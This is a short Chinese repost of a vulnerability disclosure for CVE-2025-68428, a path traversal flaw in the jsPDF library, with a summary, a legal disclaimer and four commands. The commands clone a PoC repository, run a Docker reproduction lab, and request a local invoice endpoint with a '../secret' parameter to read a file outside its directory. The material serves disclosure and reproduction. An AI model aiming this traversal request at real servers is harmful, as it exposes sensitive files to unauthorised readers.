文章总结： 本文披露CVE-2025-68428漏洞详情，展示了jsPDF库中的路径穿越缺陷。提供了包含Docker复现环境的完整PoC代码，演示了通过构造特殊请求参数读取服务器敏感文件的具体方法。该漏洞风险较高，建议相关开发者及时修补库文件并检查应用安全。 综合评分： 70 文章分类： 漏洞POC,漏洞分析,WEB安全

CVE-2025-68428：jsPDF 中的关键路径穿越

TtTeam

2026年1月19日 08:30 海南

$ git clone https://github.com/12nio/CVE-2025-68428_PoC/ && cd CVE-2025-68428_PoC$ sudo docker build -t poc .$ sudo docker run --rm -p 8080:8080 --name vuln poc$ curl "http://127.0.0.1:8080/api/v1/generate-invoice?client=Dinko&branding=../secret" --output poc.pdf

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：TtTeam 《CVE-2025-68428：jsPDF 中的关键路径穿越》